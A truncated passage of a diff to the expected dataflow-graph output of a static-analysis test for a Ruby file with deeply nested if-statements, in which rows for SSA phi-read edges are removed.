UseUseExplosion.rb:20:1165:20:2820 | if ... | -| UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(self) | UseUseExplosion.rb:20:1181:20:2804 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(x) | UseUseExplosion.rb:20:1181:20:2804 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1186:20:2804 | if ... | UseUseExplosion.rb:20:1181:20:2804 | then ... | | UseUseExplosion.rb:20:1190:20:1194 | @prop | UseUseExplosion.rb:20:1190:20:1199 | ... > ... | | UseUseExplosion.rb:20:1190:20:1194 | [post] self | UseUseExplosion.rb:20:1211:20:1215 | self | @@ -996,11 +771,7 @@ | UseUseExplosion.rb:20:1190:20:1199 | ... > ... | UseUseExplosion.rb:20:1189:20:1200 | [false] ( ... ) | | UseUseExplosion.rb:20:1190:20:1199 | ... > ... | UseUseExplosion.rb:20:1189:20:1200 | [true] ( ... ) | | UseUseExplosion.rb:20:1198:20:1199 | 44 | UseUseExplosion.rb:20:1190:20:1199 | ... > ... | -| UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(self) | -| UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(x) | | UseUseExplosion.rb:20:1202:20:2788 | then ... | UseUseExplosion.rb:20:1186:20:2804 | if ... | -| UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(self) | UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(x) | UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1207:20:2788 | if ... | UseUseExplosion.rb:20:1202:20:2788 | then ... | | UseUseExplosion.rb:20:1211:20:1215 | @prop | UseUseExplosion.rb:20:1211:20:1220 | ... > ... | | UseUseExplosion.rb:20:1211:20:1215 | [post] self | UseUseExplosion.rb:20:1232:20:1236 | self | @@ -1010,11 +781,7 @@ | UseUseExplosion.rb:20:1211:20:1220 | ... > ... | UseUseExplosion.rb:20:1210:20:1221 | [false] ( ... ) | | UseUseExplosion.rb:20:1211:20:1220 | ... > ... | UseUseExplosion.rb:20:1210:20:1221 | [true] ( ... ) | | UseUseExplosion.rb:20:1219:20:1220 | 43 | UseUseExplosion.rb:20:1211:20:1220 | ... > ... | -| UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(self) | -| UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(x) | | UseUseExplosion.rb:20:1223:20:2772 | then ... | UseUseExplosion.rb:20:1207:20:2788 | if ... | -| UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(self) | UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(x) | UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1228:20:2772 | if ... | UseUseExplosion.rb:20:1223:20:2772 | then ... | | UseUseExplosion.rb:20:1232:20:1236 | @prop | UseUseExplosion.rb:20:1232:20:1241 | ... > ... | | UseUseExplosion.rb:20:1232:20:1236 | [post] self | UseUseExplosion.rb:20:1253:20:1257 | self | @@ -1024,11 +791,7 @@ | UseUseExplosion.rb:20:1232:20:1241 | ... > ... | UseUseExplosion.rb:20:1231:20:1242 | [false] ( ... ) | | UseUseExplosion.rb:20:1232:20:1241 | ... > ... | UseUseExplosion.rb:20:1231:20:1242 | [true] ( ... ) | | UseUseExplosion.rb:20:1240:20:1241 | 42 | UseUseExplosion.rb:20:1232:20:1241 | ... > ... | -| UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(self) | -| UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(x) | | UseUseExplosion.rb:20:1244:20:2756 | then ... | UseUseExplosion.rb:20:1228:20:2772 | if ... | -| UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(self) | UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(x) | UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1249:20:2756 | if ... | UseUseExplosion.rb:20:1244:20:2756 | then ... | | UseUseExplosion.rb:20:1253:20:1257 | @prop | UseUseExplosion.rb:20:1253:20:1262 | ... > ... | | UseUseExplosion.rb:20:1253:20:1257 | [post] self | UseUseExplosion.rb:20:1274:20:1278 | self | @@ -1038,11 +801,7 @@ | UseUseExplosion.rb:20:1253:20:1262 | ... > ... | UseUseExplosion.rb:20:1252:20:1263 | [false] ( ... ) | | UseUseExplosion.rb:20:1253:20:1262 | ... > ... | UseUseExplosion.rb:20:1252:20:1263 | [true] ( ... ) | | UseUseExplosion.rb:20:1261:20:1262 | 41 | UseUseExplosion.rb:20:1253:20:1262 | ... > ... | -| UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(self) | -| UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(x) | | UseUseExplosion.rb:20:1265:20:2740 | then ... | UseUseExplosion.rb:20:1249:20:2756 | if ... | -| UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(self) | UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(x) | UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1270:20:2740 | if ... | UseUseExplosion.rb:20:1265:20:2740 | then ... | | UseUseExplosion.rb:20:1274:20:1278 | @prop | UseUseExplosion.rb:20:1274:20:1283 | ... > ... | | UseUseExplosion.rb:20:1274:20:1278 | [post] self | UseUseExplosion.rb:20:1295:20:1299 | self | @@ -1052,11 +811,7 @@ | UseUseExplosion.rb:20:1274:20:1283 | ... > ... | UseUseExplosion.rb:20:1273:20:1284 | [false] ( ... ) | | UseUseExplosion.rb:20:1274:20:1283 | ... > ... | UseUseExplosion.rb:20:1273:20:1284 | [true] ( ... ) | | UseUseExplosion.rb:20:1282:20:1283 | 40 | UseUseExplosion.rb:20:1274:20:1283 | ... > ... | -| UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(self) | -| UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(x) | | UseUseExplosion.rb:20:1286:20:2724 | then ... | UseUseExplosion.rb:20:1270:20:2740 | if ... | -| UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(self) | UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(x) | UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1291:20:2724 | if ... | UseUseExplosion.rb:20:1286:20:2724 | then ... | | UseUseExplosion.rb:20:1295:20:1299 | @prop | UseUseExplosion.rb:20:1295:20:1304 | ... > ... | | UseUseExplosion.rb:20:1295:20:1299 | [post] self | UseUseExplosion.rb:20:1316:20:1320 | self | @@ -1066,11 +821,7 @@ | UseUseExplosion.rb:20:1295:20:1304 | ... > ... | UseUseExplosion.rb:20:1294:20:1305 | [false] ( ... ) | | UseUseExplosion.rb:20:1295:20:1304 | ... > ... | UseUseExplosion.rb:20:1294:20:1305 | [true] ( ... ) | | UseUseExplosion.rb:20:1303:20:1304 | 39 | UseUseExplosion.rb:20:1295:20:1304 | ... > ... | -| UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(self) | -| UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(x) | | UseUseExplosion.rb:20:1307:20:2708 | then ... | UseUseExplosion.rb:20:1291:20:2724 | if ... | -| UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(self) | UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(x) | UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1312:20:2708 | if ... | UseUseExplosion.rb:20:1307:20:2708 | then ... | | UseUseExplosion.rb:20:1316:20:1320 | @prop | UseUseExplosion.rb:20:1316:20:1325 | ... > ... | | UseUseExplosion.rb:20:1316:20:1320 | [post] self | UseUseExplosion.rb:20:1337:20:1341 | self | @@ -1080,11 +831,7 @@ | UseUseExplosion.rb:20:1316:20:1325 | ... > ... | UseUseExplosion.rb:20:1315:20:1326 | [false] ( ... ) | | UseUseExplosion.rb:20:1316:20:1325 | ... > ... | UseUseExplosion.rb:20:1315:20:1326 | [true] ( ... ) | | UseUseExplosion.rb:20:1324:20:1325 | 38 | UseUseExplosion.rb:20:1316:20:1325 | ... > ... | -| UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(self) | -| UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(x) | | UseUseExplosion.rb:20:1328:20:2692 | then ... | UseUseExplosion.rb:20:1312:20:2708 | if ... | -| UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(self) | UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(x) | UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1333:20:2692 | if ... | UseUseExplosion.rb:20:1328:20:2692 | then ... | | UseUseExplosion.rb:20:1337:20:1341 | @prop | UseUseExplosion.rb:20:1337:20:1346 | ... > ... | | UseUseExplosion.rb:20:1337:20:1341 | [post] self | UseUseExplosion.rb:20:1358:20:1362 | self | @@ -1094,11 +841,7 @@ | UseUseExplosion.rb:20:1337:20:1346 | ... > ... | UseUseExplosion.rb:20:1336:20:1347 | [false] ( ... ) | | UseUseExplosion.rb:20:1337:20:1346 | ... > ... | UseUseExplosion.rb:20:1336:20:1347 | [true] ( ... ) | | UseUseExplosion.rb:20:1345:20:1346 | 37 | UseUseExplosion.rb:20:1337:20:1346 | ... > ... | -| UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(self) | -| UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(x) | | UseUseExplosion.rb:20:1349:20:2676 | then ... | UseUseExplosion.rb:20:1333:20:2692 | if ... | -| UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(self) | UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(x) | UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1354:20:2676 | if ... | UseUseExplosion.rb:20:1349:20:2676 | then ... | | UseUseExplosion.rb:20:1358:20:1362 | @prop | UseUseExplosion.rb:20:1358:20:1367 | ... > ... | | UseUseExplosion.rb:20:1358:20:1362 | [post] self | UseUseExplosion.rb:20:1379:20:1383 | self | @@ -1108,11 +851,7 @@ | UseUseExplosion.rb:20:1358:20:1367 | ... > ... | UseUseExplosion.rb:20:1357:20:1368 | [false] ( ... ) | | UseUseExplosion.rb:20:1358:20:1367 | ... > ... | UseUseExplosion.rb:20:1357:20:1368 | [true] ( ... ) | | UseUseExplosion.rb:20:1366:20:1367 | 36 | UseUseExplosion.rb:20:1358:20:1367 | ... > ... | -| UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(self) | -| UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(x) | | UseUseExplosion.rb:20:1370:20:2660 | then ... | UseUseExplosion.rb:20:1354:20:2676 | if ... | -| UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(self) | UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(x) | UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1375:20:2660 | if ... | UseUseExplosion.rb:20:1370:20:2660 | then ... | | UseUseExplosion.rb:20:1379:20:1383 | @prop | UseUseExplosion.rb:20:1379:20:1388 | ... > ... | | UseUseExplosion.rb:20:1379:20:1383 | [post] self | UseUseExplosion.rb:20:1400:20:1404 | self | @@ -1122,11 +861,7 @@ | UseUseExplosion.rb:20:1379:20:1388 | ... > ... | UseUseExplosion.rb:20:1378:20:1389 | [false] ( ... ) | | UseUseExplosion.rb:20:1379:20:1388 | ... > ... | UseUseExplosion.rb:20:1378:20:1389 | [true] ( ... ) | | UseUseExplosion.rb:20:1387:20:1388 | 35 | UseUseExplosion.rb:20:1379:20:1388 | ... > ... | -| UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(self) | -| UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(x) | | UseUseExplosion.rb:20:1391:20:2644 | then ... | UseUseExplosion.rb:20:1375:20:2660 | if ... | -| UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(self) | UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(x) | UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1396:20:2644 | if ... | UseUseExplosion.rb:20:1391:20:2644 | then ... | | UseUseExplosion.rb:20:1400:20:1404 | @prop | UseUseExplosion.rb:20:1400:20:1409 | ... > ... | | UseUseExplosion.rb:20:1400:20:1404 | [post] self | UseUseExplosion.rb:20:1421:20:1425 | self | @@ -1136,11 +871,7 @@ | UseUseExplosion.rb:20:1400:20:1409 | ... > ... | UseUseExplosion.rb:20:1399:20:1410 | [false] ( ... ) | | UseUseExplosion.rb:20:1400:20:1409 | ... > ... | UseUseExplosion.rb:20:1399:20:1410 | [true] ( ... ) | | UseUseExplosion.rb:20:1408:20:1409 | 34 | UseUseExplosion.rb:20:1400:20:1409 | ... > ... | -| UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(self) | -| UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(x) | | UseUseExplosion.rb:20:1412:20:2628 | then ... | UseUseExplosion.rb:20:1396:20:2644 | if ... | -| UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(self) | UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(x) | UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1417:20:2628 | if ... | UseUseExplosion.rb:20:1412:20:2628 | then ... | | UseUseExplosion.rb:20:1421:20:1425 | @prop | UseUseExplosion.rb:20:1421:20:1430 | ... > ... | | UseUseExplosion.rb:20:1421:20:1425 | [post] self | UseUseExplosion.rb:20:1442:20:1446 | self | @@ -1150,11 +881,7 @@ | UseUseExplosion.rb:20:1421:20:1430 | ... > ... | UseUseExplosion.rb:20:1420:20:1431 | [false] ( ... ) | | UseUseExplosion.rb:20:1421:20:1430 | ... > ... | UseUseExplosion.rb:20:1420:20:1431 | [true] ( ... ) | | UseUseExplosion.rb:20:1429:20:1430 | 33 | UseUseExplosion.rb:20:1421:20:1430 | ... > ... | -| UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(self) | -| UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(x) | | UseUseExplosion.rb:20:1433:20:2612 | then ... | UseUseExplosion.rb:20:1417:20:2628 | if ... | -| UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(self) | UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(x) | UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1438:20:2612 | if ... | UseUseExplosion.rb:20:1433:20:2612 | then ... | | UseUseExplosion.rb:20:1442:20:1446 | @prop | UseUseExplosion.rb:20:1442:20:1451 | ... > ... | | UseUseExplosion.rb:20:1442:20:1446 | [post] self | UseUseExplosion.rb:20:1463:20:1467 | self | @@ -1164,11 +891,7 @@ | UseUseExplosion.rb:20:1442:20:1451 | ... > ... | UseUseExplosion.rb:20:1441:20:1452 | [false] ( ... ) | | UseUseExplosion.rb:20:1442:20:1451 | ... > ... | UseUseExplosion.rb:20:1441:20:1452 | [true] ( ... ) | | UseUseExplosion.rb:20:1450:20:1451 | 32 | UseUseExplosion.rb:20:1442:20:1451 | ... > ... | -| UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(self) | -| UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(x) | | UseUseExplosion.rb:20:1454:20:2596 | then ... | UseUseExplosion.rb:20:1438:20:2612 | if ... | -| UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(self) | UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(x) | UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1459:20:2596 | if ... | UseUseExplosion.rb:20:1454:20:2596 | then ... | | UseUseExplosion.rb:20:1463:20:1467 | @prop | UseUseExplosion.rb:20:1463:20:1472 | ... > ... | | UseUseExplosion.rb:20:1463:20:1467 | [post] self | UseUseExplosion.rb:20:1484:20:1488 | self | @@ -1178,11 +901,7 @@ | UseUseExplosion.rb:20:1463:20:1472 | ... > ... | UseUseExplosion.rb:20:1462:20:1473 | [false] ( ... ) | | UseUseExplosion.rb:20:1463:20:1472 | ... > ... | UseUseExplosion.rb:20:1462:20:1473 | [true] ( ... ) | | UseUseExplosion.rb:20:1471:20:1472 | 31 | UseUseExplosion.rb:20:1463:20:1472 | ... > ... | -| UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(self) | -| UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(x) | | UseUseExplosion.rb:20:1475:20:2580 | then ... | UseUseExplosion.rb:20:1459:20:2596 | if ... | -| UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(self) | UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(x) | UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1480:20:2580 | if ... | UseUseExplosion.rb:20:1475:20:2580 | then ... | | UseUseExplosion.rb:20:1484:20:1488 | @prop | UseUseExplosion.rb:20:1484:20:1493 | ... > ... | | UseUseExplosion.rb:20:1484:20:1488 | [post] self | UseUseExplosion.rb:20:1505:20:1509 | self | @@ -1192,11 +911,7 @@ | UseUseExplosion.rb:20:1484:20:1493 | ... > ... | UseUseExplosion.rb:20:1483:20:1494 | [false] ( ... ) | | UseUseExplosion.rb:20:1484:20:1493 | ... > ... | UseUseExplosion.rb:20:1483:20:1494 | [true] ( ... ) | | UseUseExplosion.rb:20:1492:20:1493 | 30 | UseUseExplosion.rb:20:1484:20:1493 | ... > ... | -| UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(self) | -| UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(x) | | UseUseExplosion.rb:20:1496:20:2564 | then ... | UseUseExplosion.rb:20:1480:20:2580 | if ... | -| UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(self) | UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(x) | UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1501:20:2564 | if ... | UseUseExplosion.rb:20:1496:20:2564 | then ... | | UseUseExplosion.rb:20:1505:20:1509 | @prop | UseUseExplosion.rb:20:1505:20:1514 | ... > ... | | UseUseExplosion.rb:20:1505:20:1509 | [post] self | UseUseExplosion.rb:20:1526:20:1530 | self | @@ -1206,11 +921,7 @@ | UseUseExplosion.rb:20:1505:20:1514 | ... > ... | UseUseExplosion.rb:20:1504:20:1515 | [false] ( ... ) | | UseUseExplosion.rb:20:1505:20:1514 | ... > ... | UseUseExplosion.rb:20:1504:20:1515 | [true] ( ... ) | | UseUseExplosion.rb:20:1513:20:1514 | 29 | UseUseExplosion.rb:20:1505:20:1514 | ... > ... | -| UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(self) | -| UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(x) | | UseUseExplosion.rb:20:1517:20:2548 | then ... | UseUseExplosion.rb:20:1501:20:2564 | if ... | -| UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(self) | UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(x) | UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1522:20:2548 | if ... | UseUseExplosion.rb:20:1517:20:2548 | then ... | | UseUseExplosion.rb:20:1526:20:1530 | @prop | UseUseExplosion.rb:20:1526:20:1535 | ... > ... | | UseUseExplosion.rb:20:1526:20:1530 | [post] self | UseUseExplosion.rb:20:1547:20:1551 | self | @@ -1220,11 +931,7 @@ | UseUseExplosion.rb:20:1526:20:1535 | ... > ... | UseUseExplosion.rb:20:1525:20:1536 | [false] ( ... ) | | UseUseExplosion.rb:20:1526:20:1535 | ... > ... | UseUseExplosion.rb:20:1525:20:1536 | [true] ( ... ) | | UseUseExplosion.rb:20:1534:20:1535 | 28 | UseUseExplosion.rb:20:1526:20:1535 | ... > ... | -| UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(self) | -| UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(x) | | UseUseExplosion.rb:20:1538:20:2532 | then ... | UseUseExplosion.rb:20:1522:20:2548 | if ... | -| UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(self) | UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(x) | UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1543:20:2532 | if ... | UseUseExplosion.rb:20:1538:20:2532 | then ... | | UseUseExplosion.rb:20:1547:20:1551 | @prop | UseUseExplosion.rb:20:1547:20:1556 | ... > ... | | UseUseExplosion.rb:20:1547:20:1551 | [post] self | UseUseExplosion.rb:20:1568:20:1572 | self | @@ -1234,11 +941,7 @@ | UseUseExplosion.rb:20:1547:20:1556 | ... > ... | UseUseExplosion.rb:20:1546:20:1557 | [false] ( ... ) | | UseUseExplosion.rb:20:1547:20:1556 | ... > ... | UseUseExplosion.rb:20:1546:20:1557 | [true] ( ... ) | | UseUseExplosion.rb:20:1555:20:1556 | 27 | UseUseExplosion.rb:20:1547:20:1556 | ... > ... | -| UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(self) | -| UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(x) | | UseUseExplosion.rb:20:1559:20:2516 | then ... | UseUseExplosion.rb:20:1543:20:2532 | if ... | -| UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(self) | UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(x) | UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1564:20:2516 | if ... | UseUseExplosion.rb:20:1559:20:2516 | then ... | | UseUseExplosion.rb:20:1568:20:1572 | @prop | UseUseExplosion.rb:20:1568:20:1577 | ... > ... | | UseUseExplosion.rb:20:1568:20:1572 | [post] self | UseUseExplosion.rb:20:1589:20:1593 | self | @@ -1248,11 +951,7 @@ | UseUseExplosion.rb:20:1568:20:1577 | ... > ... | UseUseExplosion.rb:20:1567:20:1578 | [false] ( ... ) | | UseUseExplosion.rb:20:1568:20:1577 | ... > ... | UseUseExplosion.rb:20:1567:20:1578 | [true] ( ... ) | | UseUseExplosion.rb:20:1576:20:1577 | 26 | UseUseExplosion.rb:20:1568:20:1577 | ... > ... | -| UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(self) | -| UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(x) | | UseUseExplosion.rb:20:1580:20:2500 | then ... | UseUseExplosion.rb:20:1564:20:2516 | if ... | -| UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(self) | UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(x) | UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1585:20:2500 | if ... | UseUseExplosion.rb:20:1580:20:2500 | then ... | | UseUseExplosion.rb:20:1589:20:1593 | @prop | UseUseExplosion.rb:20:1589:20:1598 | ... > ... | | UseUseExplosion.rb:20:1589:20:1593 | [post] self | UseUseExplosion.rb:20:1610:20:1614 | self | @@ -1262,11 +961,7 @@ | UseUseExplosion.rb:20:1589:20:1598 | ... > ... | UseUseExplosion.rb:20:1588:20:1599 | [false] ( ... ) | | UseUseExplosion.rb:20:1589:20:1598 | ... > ... | UseUseExplosion.rb:20:1588:20:1599 | [true] ( ... ) | | UseUseExplosion.rb:20:1597:20:1598 | 25 | UseUseExplosion.rb:20:1589:20:1598 | ... > ... | -| UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(self) | -| UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(x) | | UseUseExplosion.rb:20:1601:20:2484 | then ... | UseUseExplosion.rb:20:1585:20:2500 | if ... | -| UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(self) | UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(x) | UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1606:20:2484 | if ... | UseUseExplosion.rb:20:1601:20:2484 | then ... | | UseUseExplosion.rb:20:1610:20:1614 | @prop | UseUseExplosion.rb:20:1610:20:1619 | ... > ... | | UseUseExplosion.rb:20:1610:20:1614 | [post] self | UseUseExplosion.rb:20:1631:20:1635 | self | @@ -1276,11 +971,7 @@ | UseUseExplosion.rb:20:1610:20:1619 | ... > ... | UseUseExplosion.rb:20:1609:20:1620 | [false] ( ... ) | | UseUseExplosion.rb:20:1610:20:1619 | ... > ... | UseUseExplosion.rb:20:1609:20:1620 | [true] ( ... ) | | UseUseExplosion.rb:20:1618:20:1619 | 24 | UseUseExplosion.rb:20:1610:20:1619 | ... > ... | -| UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(self) | -| UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(x) | | UseUseExplosion.rb:20:1622:20:2468 | then ... | UseUseExplosion.rb:20:1606:20:2484 | if ... | -| UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(self) | UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(x) | UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1627:20:2468 | if 